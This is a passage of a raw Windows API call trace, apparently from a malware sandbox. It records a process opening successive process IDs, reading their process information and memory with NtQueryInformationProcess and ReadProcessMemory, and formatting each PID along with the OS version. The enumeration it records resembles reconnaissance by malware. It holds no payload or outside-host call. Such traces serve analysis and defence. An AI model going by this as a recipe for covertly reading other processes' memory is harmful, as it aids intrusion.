dwProcessId=0x1638) returned 0xa9c [0354.101] GetLastError () returned 0x0 [0354.101] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.102] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.102] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.102] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.102] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762258, lpBuffer=0x5ec5a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.102] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.102] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.102] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.103] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x761c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.103] malloc (_Size=0x78) returned 0xea8c20 [0354.103] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7622c8, lpBuffer=0xea8c20, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8c20*, lpNumberOfBytesRead=0x0) returned 1 [0354.103] free (_Block=0xea8c20) [0354.103] CloseHandle (hObject=0xa9c) returned 1 [0354.103] _ui64tow_s (in: _Value=0x1640, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5696") returned 0x0 [0354.104] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5696") returned 4 [0354.104] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.104] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.105] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1640) returned 0xa9c [0354.105] GetLastError () returned 0x0 [0354.105] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.105] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.105] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.105] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.105] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.105] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.106] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.106] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.106] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.106] malloc (_Size=0x6e) returned 0xea9020 [0354.106] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22be, lpBuffer=0xea9020, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0354.107] free (_Block=0xea9020) [0354.107] CloseHandle (hObject=0xa9c) returned 1 [0354.107] _ui64tow_s (in: _Value=0x1648, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5704") returned 0x0 [0354.108] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5704") returned 4 [0354.108] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.108] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.109] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1648) returned 0xa9c [0354.109] GetLastError () returned 0x0 [0354.110] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.110] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.110] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.110] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.110] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.110] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.111] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.111] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.111] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.111] malloc (_Size=0x6c) returned 0xea92a0 [0354.111] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222bc, lpBuffer=0xea92a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea92a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.112] free (_Block=0xea92a0) [0354.112] CloseHandle (hObject=0xa9c) returned 1 [0354.112] _ui64tow_s (in: _Value=0x1650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5712") returned 0x0 [0354.112] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5712") returned 4 [0354.112] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.113] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.113] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1650) returned 0xa9c [0354.113] GetLastError () returned 0x0 [0354.113] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.114] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.114] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.114] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5626e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.114] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x562258, lpBuffer=0x5ec5a0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.115] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.115] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.115] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.115] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x561c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.115] malloc (_Size=0x9c) returned 0xe961e0 [0354.115] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5622ec, lpBuffer=0xe961e0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe961e0*, lpNumberOfBytesRead=0x0) returned 1 [0354.116] free (_Block=0xe961e0) [0354.116] CloseHandle (hObject=0xa9c) returned 1 [0354.116] _ui64tow_s (in: _Value=0x1658, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5720") returned 0x0 [0354.116] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5720") returned 4 [0354.116] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.117] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.117] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1658) returned 0xa9c [0354.117] GetLastError () returned 0x0 [0354.117] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.117] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.118] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.118] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152680, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.118] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152258, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.118] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.118] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.118] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.118] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x151c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.119] malloc (_Size=0x7c) returned 0xe87670 [0354.119] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1522cc, lpBuffer=0xe87670, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87670*, lpNumberOfBytesRead=0x0) returned 1 [0354.120] free (_Block=0xe87670) [0354.120] CloseHandle (hObject=0xa9c) returned 1 [0354.120] _ui64tow_s (in: _Value=0x1660, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5728") returned 0x0 [0354.120] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5728") returned 4 [0354.120] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.120] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.121] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1660) returned 0xa9c [0354.121] GetLastError () returned 0x0 [0354.121] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.121] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.121] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.122] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.122] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.122] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.122] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.122] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.122] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.122] malloc (_Size=0x60) returned 0xeb6310 [0354.123] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722b0, lpBuffer=0xeb6310, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0354.123] free (_Block=0xeb6310) [0354.123] CloseHandle (hObject=0xa9c) returned 1 [0354.123] _ui64tow_s (in: _Value=0x1668, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5736") returned 0x0 [0354.124] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5736") returned 4 [0354.124] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.124] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.125] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1668) returned 0xa9c [0354.125] GetLastError () returned 0x0 [0354.125] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.125] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.125] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.125] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.125] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.125] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.126] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.126] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.126] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.126] malloc (_Size=0x6c) returned 0xea8920 [0354.126] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22bc, lpBuffer=0xea8920, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8920*, lpNumberOfBytesRead=0x0) returned 1 [0354.126] free (_Block=0xea8920) [0354.126] CloseHandle (hObject=0xa9c) returned 1 [0354.127] _ui64tow_s (in: _Value=0x1670, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5744") returned 0x0 [0354.127] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5744") returned 4 [0354.127] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.127] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.128] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1670) returned 0xa9c [0354.128] GetLastError () returned 0x0 [0354.128] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0354.128] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0354.128] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0354.128] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0354.128] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0354.129] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0354.129] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0354.129] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0354.129] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0354.129] malloc (_Size=0x62) returned 0xeb6310 [0354.129] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22b2, lpBuffer=0xeb6310, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0354.130] free (_Block=0xeb6310) [0354.178] CloseHandle (hObject=0xa9c) returned 1 [0354.178] _ui64tow_s (in: _Value=0x167c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5756") returned 0x0 [0354.178] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5756") returned 4 [0354.179] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0354.179] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0354.179] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x167c) returned 0xa9c [0354.179] GetLastError () returned 0x0 [0354.180] NtQueryInformationProcess (in: 